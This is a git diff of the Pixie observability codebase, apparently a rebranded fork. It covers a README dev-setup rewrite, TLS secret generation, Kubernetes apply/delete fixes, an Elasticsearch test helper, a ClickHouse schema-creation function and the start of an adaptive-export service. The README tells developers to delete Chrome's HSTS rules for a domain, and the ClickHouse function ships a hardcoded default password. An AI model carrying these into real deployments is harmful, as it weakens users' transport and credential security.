b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_server_container.h deleted file mode 100644 index b0306581592..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_grpc_server_container.h +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class GoBoringCryptoGRPCServerContainer : public ContainerRunner { - public: - GoBoringCryptoGRPCServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_grpc_tls_pl/server/" - "golang_boringcrypto_grpc_tls_server.tar"; - static constexpr std::string_view kContainerNamePrefix = "grpc_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTP/2 server"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_client_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_client_container.h deleted file mode 100644 index 6bdb6150314..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_client_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class GoBoringCryptoTLSClientContainer : public ContainerRunner { - public: - GoBoringCryptoTLSClientContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/client/golang_boringcrypto_https_client.tar"; - static constexpr std::string_view kContainerNamePrefix = "https_client"; - static constexpr std::string_view kReadyMessage = R"({"status":"ok"})"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_server_container.h b/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_server_container.h deleted file mode 100644 index d8107e108ce..00000000000 --- a/src/stirling/source_connectors/socket_tracer/testing/container_images/go_boringcrypto_tls_server_container.h +++ /dev/null @@ -1,45 +0,0 @@ -/* - * Copyright 2018- The Pixie Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - * - * SPDX-License-Identifier: Apache-2.0 - */ - -#pragma once - -#include - -#include "src/common/testing/test_environment.h" -#include "src/common/testing/test_utils/container_runner.h" - -namespace px { -namespace stirling { -namespace testing { - -class GoBoringCryptoTLSServerContainer : public ContainerRunner { - public: - GoBoringCryptoTLSServerContainer() - : ContainerRunner(::px::testing::BazelRunfilePath(kBazelImageTar), kContainerNamePrefix, - kReadyMessage) {} - - private: - static constexpr std::string_view kBazelImageTar = - "src/stirling/testing/demo_apps/go_https/server/golang_boringcrypto_https_server.tar"; - static constexpr std::string_view kContainerNamePrefix = "https_server"; - static constexpr std::string_view kReadyMessage = "Starting HTTPS service"; -}; - -} // namespace testing -} // namespace stirling -} // namespace px diff --git a/src/ui/README.md b/src/ui/README.md index 088a1714bb6..09cdee3d741 100644 --- a/src/ui/README.md +++ b/src/ui/README.md @@ -2,7 +2,7 @@ ## Export environment variables for webpack ``` -export PL_GATEWAY_URL="https://$(dig +short prod.withpixie.ai @8.8.8.8)" +export PL_GATEWAY_URL="https://$(dig +short work.getcosmic.ai @8.8.8.8)" export PL_BUILD_TYPE=prod export SELFSIGN_CERT_FILE="$HOME/.prod.cert" export SELFSIGN_CERT_KEY="$HOME/.prod.key" @@ -16,13 +16,13 @@ mkcert -install mkcert \ -cert-file $SELFSIGN_CERT_FILE \ -key-file $SELFSIGN_CERT_KEY \ - prod.withpixie.ai "*.prod.withpixie.ai" localhost 127.0.0.1 ::1 + work.getcosmic.ai "*.work.getcosmic.ai" localhost 127.0.0.1 ::1 ``` ## Add the following domain to /etc/hosts, or /private/etc/hosts for Mac Replace site-name with your test site name. ``` -127.0.0.1 prod.withpixie.ai .prod.withpixie.ai id.prod.withpixie.ai +127.0.0.1 work.getcosmic.ai test.work.getcosmic.ai id.work.getcosmic.ai ``` ## Run the webpack devserver @@ -31,8 +31,30 @@ cd src/ui yarn install yarn dev ``` +This will expose the UI locally at 8080 ## Access the frontend on the browser -Navigate to https://prod.withpixie.ai:8080/ -Note the https and port. If you are not logged in, log in at work.withpixie.ai because -as of writing this, auth0 doesn't accept callbacks to prod.withpixie.ai:8080 +Navigate to https://work.getcosmic.ai:8080/ +Note the https and port. If you are not logged in, log in at work.getcosmic.ai because +as of writing this, auth0 doesn't accept callbacks to work.getcosmic.ai:8080 + +## Note if you are tunneling or get HSTS exceptions +(please do this at your own risk) +in Chrome, navigate to +chrome://net-internals/#hsts and delete the HSTS rules for work.getcosmic.ai + +This will then unblock the security feature for this domain. Please ensure to remove this once you are done. + + +## For a remote VM +### openSSH client +``` +ssh -i privkey user@IP -D 8080 +``` +### gcloud +``` +export instancename="instance-pixie-dev" +export project="gcp-project-uuid" +export zone="europe-west1-d" +gcloud compute ssh $instancename --zone $zone --project $project -- -NL 8080:localhost:8080 +``` diff --git a/src/utils/shared/certs/BUILD.bazel b/src/utils/shared/certs/BUILD.bazel index 86437973612..3d33dc6b482 100644 --- a/src/utils/shared/certs/BUILD.bazel +++ b/src/utils/shared/certs/BUILD.bazel @@ -21,5 +21,8 @@ go_library( srcs = ["certs.go"], importpath = "px.dev/pixie/src/utils/shared/certs", visibility = ["//src:__subpackages__"], - deps = ["//src/utils/shared/k8s"], + deps = [ + "//src/utils/shared/k8s", + "@io_k8s_api//core/v1:core", + ], ) diff --git a/src/utils/shared/certs/certs.go b/src/utils/shared/certs/certs.go index 530e9f12e28..bd3f0d2d1e1 100644 --- a/src/utils/shared/certs/certs.go +++ b/src/utils/shared/certs/certs.go @@ -29,6 +29,8 @@ import ( "strings" "time" + v1 "k8s.io/api/core/v1" + "px.dev/pixie/src/utils/shared/k8s" ) @@ -172,12 +174,46 @@ func GenerateCloudCertYAMLs(namespace string) (string, error) { if err != nil { return "", err } - yaml, err := k8s.ConvertResourceToYAML(tlsCert) + + var yamls []string + + tcYaml, err := k8s.ConvertResourceToYAML(tlsCert) if err != nil { return "", err } + yamls = append(yamls, tcYaml) - return fmt.Sprintf("---\n%s\n", yaml), nil + serverTLSCert, err := k8s.CreateGenericSecretFromLiterals(namespace, "service-tls-server-certs", map[string]string{ + "tls.crt": string(serverCert), + "tls.key": string(serverKey), + "ca.crt": string(caCert), + }) + if err != nil { + return "", err + } + serverTLSCert.Type = v1.SecretTypeTLS + stYaml, err := k8s.ConvertResourceToYAML(serverTLSCert) + if err != nil { + return "", err + } + yamls = append(yamls, stYaml) + + clientTLSCert, err := k8s.CreateGenericSecretFromLiterals(namespace, "service-tls-client-certs", map[string]string{ + "tls.crt": string(clientCert), + "tls.key": string(clientKey), + "ca.crt": string(caCert), + }) + if err != nil { + return "", err + } + clientTLSCert.Type = v1.SecretTypeTLS + ctYaml, err := k8s.ConvertResourceToYAML(clientTLSCert) + if err != nil { + return "", err + } + yamls = append(yamls, ctYaml) + + return "---\n" + strings.Join(yamls, "\n---\n"), nil } // GenerateVizierCertYAMLs generates the yamls for vizier certs. diff --git a/src/utils/shared/k8s/apply.go b/src/utils/shared/k8s/apply.go index c25858ce6d7..0a5e4100dea 100644 --- a/src/utils/shared/k8s/apply.go +++ b/src/utils/shared/k8s/apply.go @@ -30,6 +30,7 @@ import ( "strings" log "github.com/sirupsen/logrus" + "k8s.io/apimachinery/pkg/api/meta" k8serrors "k8s.io/apimachinery/pkg/api/errors" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" @@ -235,8 +236,15 @@ func ApplyResources(clientset kubernetes.Interface, config *rest.Config, resourc } nsRes := res.Namespace(objNS) + // Use the rest mapping's scope to decide between cluster- and + // namespace-scoped client paths. The previous implementation kept a + // hardcoded allowlist of cluster-scoped kinds and tried to namespace- + // qualify everything else, which produced "the server could not find + // the requested resource" 404s for any cluster-scoped resource not + // in the list (e.g. APIService, PriorityClass, or cluster-scoped CRs + // like RuntimeRuleAlertBinding). createRes := nsRes - if k8sRes == "validatingwebhookconfigurations" || k8sRes == "mutatingwebhookconfigurations" || k8sRes == "namespaces" || k8sRes == "configmap" || k8sRes == "clusterrolebindings" || k8sRes == "clusterroles" || k8sRes == "customresourcedefinitions" { + if mapping.Scope != nil && mapping.Scope.Name() == meta.RESTScopeNameRoot { createRes = res } diff --git a/src/utils/shared/k8s/delete.go b/src/utils/shared/k8s/delete.go index 3adb2c8b986..689e0f8be54 100644 --- a/src/utils/shared/k8s/delete.go +++ b/src/utils/shared/k8s/delete.go @@ -29,7 +29,9 @@ import ( "k8s.io/apimachinery/pkg/api/errors" "k8s.io/apimachinery/pkg/api/meta" metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" + "k8s.io/apimachinery/pkg/apis/meta/v1/unstructured" "k8s.io/apimachinery/pkg/runtime" + "k8s.io/apimachinery/pkg/runtime/schema" "k8s.io/apimachinery/pkg/util/sets" "k8s.io/cli-runtime/pkg/genericclioptions" "k8s.io/cli-runtime/pkg/printers" @@ -44,6 +46,12 @@ import ( cmdwait "k8s.io/kubectl/pkg/cmd/wait" ) +var apiServiceGVR = schema.GroupVersionResource{ + Group: "apiregistration.k8s.io", + Version: "v1", + Resource: "apiservices", +} + // ObjectDeleter has methods to delete K8s objects and wait for them. This code is adopted from `kubectl delete`. type ObjectDeleter struct { Namespace string @@ -110,6 +118,32 @@ func (o *ObjectDeleter) DeleteNamespace() error { return err } +// getAggregatedGroupVersions returns the set of group/versions that are served +// by an aggregated APIService (spec.service is non-nil). Resources in those +// groups are skipped during cluster-wide deletion sweeps because aggregated +// servers frequently advertise the delete verb on read-only virtual resources +// and fail the call with "operation not supported". +func (o *ObjectDeleter) getAggregatedGroupVersions() (sets.String, error) { + out := sets.NewString() + list, err := o.dynamicClient.Resource(apiServiceGVR).List(context.TODO(), metav1.ListOptions{}) + if err != nil { + if errors.IsNotFound(err) || meta.IsNoMatchError(err) { + return out, nil + } + return nil, err + } + for _, item := range list.Items { + svc, found, err := unstructured.NestedMap(item.Object, "spec", "service") + if err != nil || !found || svc == nil { + continue + } + group, _, _ := unstructured.NestedString(item.Object, "spec", "group") + version, _, _ := unstructured.NestedString(item.Object, "spec", "version") + out.Insert(schema.GroupVersion{Group: group, Version: version}.String()) + } + return out, nil +} + func (o *ObjectDeleter) getDeletableResourceTypes() ([]string, error) { discoveryClient, err := o.rcg.ToDiscoveryClient() if err != nil { @@ -121,11 +155,19 @@ func (o *ObjectDeleter) getDeletableResourceTypes() ([]string, error) { return nil, err } + aggregated, err := o.getAggregatedGroupVersions() + if err != nil { + return nil, err + } + resources := []string{} for _, list := range lists { if len(list.APIResources) == 0 { continue } + if aggregated.Has(list.GroupVersion) { + continue + } for _, resource := range list.APIResources { if len(resource.Verbs) == 0 { @@ -145,6 +187,9 @@ func (o *ObjectDeleter) DeleteByLabel(selector string, resourceKinds ...string) if err := o.initRestClientGetter(); err != nil { return 0, err } + if err := o.initDynamicClient(); err != nil { + return 0, err + } b := resource.NewBuilder(o.rcg) if len(resourceKinds) == 0 { @@ -169,9 +214,6 @@ func (o *ObjectDeleter) DeleteByLabel(selector string, resourceKinds ...string) if err != nil { return 0, err } - if err := o.initDynamicClient(); err != nil { - return 0, err - } return o.runDelete(r) } diff --git a/src/utils/testingutils/docker/elastic.go b/src/utils/testingutils/docker/elastic.go index a90dafef4c2..22bf8972dae 100644 --- a/src/utils/testingutils/docker/elastic.go +++ b/src/utils/testingutils/docker/elastic.go @@ -19,7 +19,11 @@ package docker import ( + "bufio" "fmt" + "os" + "regexp" + "time" "github.com/olivere/elastic/v7" "github.com/ory/dockertest/v3" @@ -27,6 +31,27 @@ import ( log "github.com/sirupsen/logrus" ) +// selfContainerID returns the current Docker container ID by parsing +// /proc/self/mountinfo. Docker bind-mounts /etc/hostname from +// /var/lib/docker/containers//hostname, exposing the container ID. +// Returns empty string if not running inside a Docker container. +func selfContainerID() string { + f, err := os.Open("/proc/self/mountinfo") + if err != nil { + return "" + } + defer f.Close() + + re := regexp.MustCompile(`/containers/([a-f0-9]{64})/hostname`) + scanner := bufio.NewScanner(f) + for scanner.Scan() { + if m := re.FindStringSubmatch(scanner.Text()); m != nil { + return m[1] + } + } + return "" +} + func connectElastic(esURL string, esUser string, esPass string) (*elastic.Client, error) { es, err := elastic.NewClient(elastic.SetURL(esURL), elastic.SetBasicAuth(esUser, esPass), @@ -104,12 +129,52 @@ func SetupElastic() (*elastic.Client, func(), error) { return nil, cleanup, err } - clientPort := resource.GetPort("9200/tcp") + // When running inside a container (e.g. CI), the ES container is on + // a different Docker network and we can't reach it via host port mapping. + // Detect this and connect ES to our network instead. + esHost := resource.Container.NetworkSettings.Gateway + esPort := resource.GetPort("9200/tcp") + selfID := selfContainerID() + log.Infof("selfContainerID: %q", selfID) + if selfID != "" { + selfContainer, err := pool.Client.InspectContainer(selfID) + if err != nil { + return nil, cleanup, fmt.Errorf("failed to inspect self container %s: %w", selfID, err) + } + for netName, net := range selfContainer.NetworkSettings.Networks { + if netName == "host" { + continue + } + err := pool.Client.ConnectNetwork(net.NetworkID, docker.NetworkConnectionOptions{ + Container: resource.Container.ID, + }) + if err != nil { + return nil, cleanup, fmt.Errorf("failed to connect ES to network %s: %w", netName, err) + } + // Re-inspect to get the ES container's IP on our network. + updated, err := pool.Client.InspectContainer(resource.Container.ID) + if err != nil { + return nil, cleanup, fmt.Errorf("failed to re-inspect ES container: %w", err) + } + resource.Container = updated + if esNet, ok := updated.NetworkSettings.Networks[netName]; ok { + esHost = esNet.IPAddress + esPort = "9200" + log.Infof("esHost set to %s:%s via network %s", esHost, esPort, netName) + } + break + } + } + if esHost == "" { + esHost = "localhost" + } + + pool.MaxWait = 10 * time.Minute var client *elastic.Client err = pool.Retry(func() error { var err error client, err = connectElastic(fmt.Sprintf("http://%s:%s", - resource.Container.NetworkSettings.Gateway, clientPort), "elastic", esPass) + esHost, esPort), "elastic", esPass) if err != nil { log.WithError(err).Errorf("Failed to connect to elasticsearch.") } diff --git a/src/vizier/funcs/md_udtfs/BUILD.bazel b/src/vizier/funcs/md_udtfs/BUILD.bazel index c5a966b5ca6..161ec9c3fe5 100644 --- a/src/vizier/funcs/md_udtfs/BUILD.bazel +++ b/src/vizier/funcs/md_udtfs/BUILD.bazel @@ -47,6 +47,7 @@ pl_cc_library( "//src/vizier/services/agent/shared/manager:cc_headers", "//src/vizier/services/metadata/metadatapb:service_pl_cc_proto", "@com_github_arun11299_cpp_jwt//:cpp_jwt", + "@com_github_clickhouse_clickhouse_cpp//:clickhouse_cpp", "@com_github_grpc_grpc//:grpc++", ], ) diff --git a/src/vizier/funcs/md_udtfs/md_udtfs.cc b/src/vizier/funcs/md_udtfs/md_udtfs.cc index 193c6d45dff..ec6f8926e80 100644 --- a/src/vizier/funcs/md_udtfs/md_udtfs.cc +++ b/src/vizier/funcs/md_udtfs/md_udtfs.cc @@ -58,6 +58,9 @@ void RegisterFuncsOrDie(const VizierFuncFactoryContext& ctx, carnot::udf::Regist registry ->RegisterFactoryOrDie>( "GetCronScriptHistory", ctx); + registry->RegisterFactoryOrDie>( + "CreateClickHouseSchemas", ctx); } } // namespace md diff --git a/src/vizier/funcs/md_udtfs/md_udtfs_impl.h b/src/vizier/funcs/md_udtfs/md_udtfs_impl.h index b6af0ca1de8..9b1d9936df3 100644 --- a/src/vizier/funcs/md_udtfs/md_udtfs_impl.h +++ b/src/vizier/funcs/md_udtfs/md_udtfs_impl.h @@ -28,6 +28,7 @@ #include #include +#include #include #include @@ -1073,6 +1074,279 @@ class GetCronScriptHistory final : public carnot::udf::UDTF add_context_authentication_func_; }; +namespace clickhouse_schema { + +/** + * Maps Pixie DataType to ClickHouse type string. + * Based on the mapping used in carnot_executable.cc for http_events table. + */ +inline std::string PixieTypeToClickHouseType(types::DataType pixie_type, + const std::string& column_name) { + switch (pixie_type) { + case types::DataType::INT64: + return "Int64"; + case types::DataType::FLOAT64: + return "Float64"; + case types::DataType::STRING: + return "String"; + case types::DataType::BOOLEAN: + return "UInt8"; + case types::DataType::TIME64NS: + // Use DateTime64(9) for time_ column (nanoseconds) + // Use DateTime64(3) for event_time column (milliseconds) + if (column_name == "time_") { + return "DateTime64(9)"; + } else if (column_name == "event_time") { + return "DateTime64(3)"; + } + // Default to DateTime64(9) for other time columns + return "DateTime64(9)"; + case types::DataType::UINT128: + // ClickHouse doesn't have native UINT128, use String representation (high:low format) + return "String"; + default: + return "String"; // Fallback to String for unsupported types + } +} + +} // namespace clickhouse_schema + +/** + * This UDTF creates ClickHouse schemas from Pixie DataTable schemas. + * It fetches table schemas from MDS and creates corresponding tables in ClickHouse. + */ +class CreateClickHouseSchemas final : public carnot::udf::UDTF { + public: + using MDSStub = vizier::services::metadata::MetadataService::Stub; + using SchemaResponse = vizier::services::metadata::SchemaResponse; + + CreateClickHouseSchemas() = delete; + CreateClickHouseSchemas(std::shared_ptr stub, + std::function add_context_authentication) + : idx_(0), stub_(stub), add_context_authentication_func_(add_context_authentication) {} + + static constexpr auto Executor() { return carnot::udfspb::UDTFSourceExecutor::UDTF_ONE_KELVIN; } + + static constexpr auto OutputRelation() { + return MakeArray(ColInfo("table_name", types::DataType::STRING, types::PatternType::GENERAL, + "The name of the table"), + ColInfo("status", types::DataType::STRING, types::PatternType::GENERAL, + "Status of the table creation (success/error)"), + ColInfo("message", types::DataType::STRING, types::PatternType::GENERAL, + "Additional information or error message")); + } + + static constexpr auto InitArgs() { + return MakeArray( + UDTFArg::Make("host", "ClickHouse server host", "'localhost'"), + UDTFArg::Make("port", "ClickHouse server port", 9000), + UDTFArg::Make("username", "ClickHouse username", "'default'"), + UDTFArg::Make("password", "ClickHouse password", + "'test_password'"), + UDTFArg::Make("database", "ClickHouse database", "'default'"), + UDTFArg::Make( + "use_if_not_exists", "Whether to use IF NOT EXISTS in CREATE TABLE statements", true), + UDTFArg::Make( + "cluster_name", + "ClickHouse cluster name for ON CLUSTER DDL and ReplicatedMergeTree engine. " + "Empty string disables cluster mode.", + "''")); + } + + Status Init(FunctionContext*, types::StringValue host, types::Int64Value port, + types::StringValue username, types::StringValue password, types::StringValue database, + types::BoolValue use_if_not_exists, types::StringValue cluster_name) { + // Store ClickHouse connection parameters + host_ = std::string(host); + port_ = port.val; + username_ = std::string(username); + password_ = std::string(password); + database_ = std::string(database); + use_if_not_exists_ = use_if_not_exists.val; + cluster_name_ = std::string(cluster_name); + + // Fetch schemas from MDS + px::vizier::services::metadata::SchemaRequest req; + px::vizier::services::metadata::SchemaResponse resp; + + grpc::ClientContext ctx; + add_context_authentication_func_(&ctx); + auto s = stub_->GetSchemas(&ctx, req, &resp); + if (!s.ok()) { + return error::Internal("Failed to make RPC call to metadata service: $0", s.error_message()); + } + + // Connect to ClickHouse + clickhouse::ClientOptions client_options; + client_options.SetHost(host_); + client_options.SetPort(port_); + client_options.SetUser(username_); + client_options.SetPassword(password_); + client_options.SetDefaultDatabase(database_); + + try { + clickhouse_client_ = std::make_unique(client_options); + // Test connection + clickhouse_client_->Execute("SELECT 1"); + } catch (const std::exception& e) { + return error::Internal("Failed to connect to ClickHouse at $0:$1 - $2", host_, port_, + e.what()); + } + + for (const auto& [rel_table_name, rel] : resp.schema().relation_map()) { + TableResult result; + std::string table_name = rel_table_name; + result.table_name = table_name; + + // Check if table has a time_ column (required for partitioning) + bool has_time_column = false; + for (const auto& col : rel.columns()) { + if (col.column_name() == "time_" && col.column_type() == types::DataType::TIME64NS) { + has_time_column = true; + break; + } + } + + if (!has_time_column) { + result.status = "skipped"; + result.message = "Table does not have a time_ TIME64NS column, skipping"; + results_.push_back(result); + continue; + } + + std::vector names = absl::StrSplit(table_name, '.'); + if (names.size() <= 0 || names.size() > 2) { + result.status = "error"; + result.message = "Invalid table name with multiple dots"; + results_.push_back(result); + continue; + } + table_name = names[0]; + + // Generate CREATE TABLE statement + std::string create_table_sql = + GenerateCreateTableSQL(table_name, rel, use_if_not_exists_, cluster_name_); + + // Execute the CREATE TABLE + try { + // Drop existing table if not using IF NOT EXISTS + if (!use_if_not_exists_) { + std::string drop_cluster_clause = + cluster_name_.empty() ? "" : absl::Substitute(" ON CLUSTER '$0'", cluster_name_); + clickhouse_client_->Execute( + absl::Substitute("DROP TABLE IF EXISTS $0$1", table_name, drop_cluster_clause)); + } + + // Create new table + clickhouse_client_->Execute(create_table_sql); + + result.status = "success"; + result.message = "Table created successfully"; + } catch (const std::exception& e) { + result.status = "error"; + result.message = absl::Substitute("Failed to create table: $0", e.what()); + } + + results_.push_back(result); + } + + return Status::OK(); + } + + bool NextRecord(FunctionContext*, RecordWriter* rw) { + if (idx_ >= static_cast(results_.size())) { + return false; + } + + const auto& result = results_[idx_]; + rw->Append(result.table_name); + rw->Append(result.status); + rw->Append(result.message); + + idx_++; + return idx_ < static_cast(results_.size()); + } + + private: + struct TableResult { + std::string table_name; + std::string status; + std::string message; + }; + + /** + * Generates a CREATE TABLE SQL statement for ClickHouse based on Pixie table schema. + * Follows the pattern from carnot_executable.cc: + * - Maps Pixie types to ClickHouse types + * - Adds hostname String column + * - Adds event_time DateTime64(3) column + * - Uses ENGINE = MergeTree() + * - Uses PARTITION BY toYYYYMM(event_time) + * - Uses ORDER BY (hostname, event_time) + */ + std::string GenerateCreateTableSQL(const std::string& table_name, + const px::table_store::schemapb::Relation& schema, + bool use_if_not_exists, + const std::string& cluster_name) { + std::vector column_defs; + + // Add columns from schema + for (const auto& col : schema.columns()) { + std::string column_name = col.column_name(); + if (column_name == "event_time" || column_name == "hostname") { + // event_time and hostname are added separately + continue; + } + std::string clickhouse_type = + clickhouse_schema::PixieTypeToClickHouseType(col.column_type(), column_name); + column_defs.push_back(absl::Substitute("$0 $1", column_name, clickhouse_type)); + } + + // Add hostname column + column_defs.push_back("hostname String"); + + // Add event_time column for partitioning (will be populated from time_ column) + column_defs.push_back("event_time DateTime64(3)"); + + // Build the CREATE TABLE statement + std::string columns_str = absl::StrJoin(column_defs, ",\n "); + + std::string if_not_exists_clause = use_if_not_exists ? "IF NOT EXISTS " : ""; + std::string on_cluster_clause = + cluster_name.empty() ? "" : absl::Substitute(" ON CLUSTER '$0'", cluster_name); + // Use ReplicatedMergeTree when cluster mode is enabled so that data is + // replicated across nodes. ClickHouse auto-generates the ZooKeeper paths + // when no explicit arguments are provided (requires ClickHouse >= 22.x). + std::string engine = cluster_name.empty() ? "MergeTree()" : "ReplicatedMergeTree()"; + std::string create_sql = absl::Substitute(R"( + CREATE TABLE $0$1$2 ( + $3 + ) ENGINE = $4 + PARTITION BY toYYYYMM(event_time) + ORDER BY (hostname, event_time) + )", + if_not_exists_clause, table_name, on_cluster_clause, + columns_str, engine); + + return create_sql; + } + + int idx_ = 0; + std::vector results_; + std::shared_ptr stub_; + std::function add_context_authentication_func_; + std::unique_ptr clickhouse_client_; + + // ClickHouse connection parameters + std::string host_; + int port_; + std::string username_; + std::string password_; + std::string database_; + bool use_if_not_exists_; + std::string cluster_name_; +}; + } // namespace md } // namespace funcs } // namespace vizier diff --git a/src/vizier/services/adaptive_export/BUILD.bazel b/src/vizier/services/adaptive_export/BUILD.bazel new file mode 100644 index 00000000000..b352fa213f6 --- /dev/null +++ b/src/vizier/services/adaptive_export/BUILD.bazel @@ -0,0 +1,52 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_docker//container:container.bzl", "container_bundle") +load("@io_bazel_rules_docker//contrib:push-all.bzl", "container_push") +load("//bazel:pl_build_system.bzl", "pl_go_image") + +pl_go_image( + name = "adaptive_export_image", + binary = "//src/vizier/services/adaptive_export/cmd", + visibility = [ + "//k8s:__subpackages__", + "//src/vizier:__subpackages__", + ], +) + +# Single-image bundle + push targets — same shape as +# //k8s/vizier:image_bundle / vizier_images_push, but scoped to ONLY +# the adaptive_export image so the SBOB PoC can rebuild this one +# component without rebuilding kelvin / pem / metadata. Consumed by +# .github/workflows/adaptive_export_image.yaml via +# `bazel run :adaptive_export_image_push` with the standard +# --//k8s:image_repository / --//k8s:image_version overrides. +container_bundle( + name = "adaptive_export_image_bundle", + images = { + "$(IMAGE_PREFIX)/vizier-adaptive_export_image:$(BUNDLE_VERSION)": ":adaptive_export_image", + }, + toolchains = [ + "//k8s:image_prefix", + "//k8s:bundle_version", + ], +) + +container_push( + name = "adaptive_export_image_push", + bundle = ":adaptive_export_image_bundle", + format = "Docker", +) diff --git a/src/vizier/services/adaptive_export/cmd/BUILD.bazel b/src/vizier/services/adaptive_export/cmd/BUILD.bazel new file mode 100644 index 00000000000..959a5f895cb --- /dev/null +++ b/src/vizier/services/adaptive_export/cmd/BUILD.bazel @@ -0,0 +1,47 @@ +# Copyright 2018- The Pixie Authors. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# SPDX-License-Identifier: Apache-2.0 + +load("@io_bazel_rules_go//go:def.bzl", "go_library") +load("@px//bazel:pl_build_system.bzl", "pl_go_binary") + +go_library( + name = "cmd_lib", + srcs = ["main.go"], + importpath = "px.dev/pixie/src/vizier/services/adaptive_export/cmd", + visibility = ["//visibility:private"], + deps = [ + "//src/api/go/pxapi", + "//src/vizier/services/adaptive_export/internal/activeset", + "//src/vizier/services/adaptive_export/internal/clickhouse", + "//src/vizier/services/adaptive_export/internal/config", + "//src/vizier/services/adaptive_export/internal/control", + "//src/vizier/services/adaptive_export/internal/controller", + "//src/vizier/services/adaptive_export/internal/pixie", + "//src/vizier/services/adaptive_export/internal/pixieapi", + "//src/vizier/services/adaptive_export/internal/pxl", + "//src/vizier/services/adaptive_export/internal/script", + "//src/vizier/services/adaptive_export/internal/sink", + "//src/vizier/services/adaptive_export/internal/streaming", + "//src/vizier/services/adaptive_export/internal/trigger", + "@com_github_sirupsen_logrus//:logrus", + ], +) + +pl_go_binary( + name = "cmd", + embed = [":cmd_lib"], + visibility = ["//visibility:public"], +) diff --git a/src/vizier/services/adaptive_export/cmd/main.go b/src/vizier/services/adaptive_export/cmd/main.go new file mode 100644 index 00000000000..2fd9eb611d6 --- /dev/null +++ b/src/vizier/services/adaptive_export/cmd/main.go @@ -0,0 +1,759 @@ +// Copyright 2018- The Pixie Authors. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +// Adaptive-export operator (push flow, design rev 2). +// +// Lifecycle (one pod per node, deployed as a DaemonSet): +// +// 1. boot: +// - load config (env + k8s downward API for NODE_NAME) +// - ensure ClickHouse retention plugin is enabled (idempotent; +// retention scripts themselves are user-defined in the Pixie UI) +// - rehydrate the in-memory active set from +// forensic_db.adaptive_attribution FINAL WHERE hostname= +// - start the trigger + controller +// +// 2. steady state: +// - trigger polls forensic_db.kubescape_logs WHERE hostname= +// - controller derives anomaly hash from each event and writes a +// forensic_db.adaptive_attribution row (one INSERT per event; +// ReplacingMergeTree(t_end) collapses re-inserts to the latest +// end_time, extending the active window) +// +// 3. shutdown: +// - on SIGINT/SIGTERM, cancel context, drain. 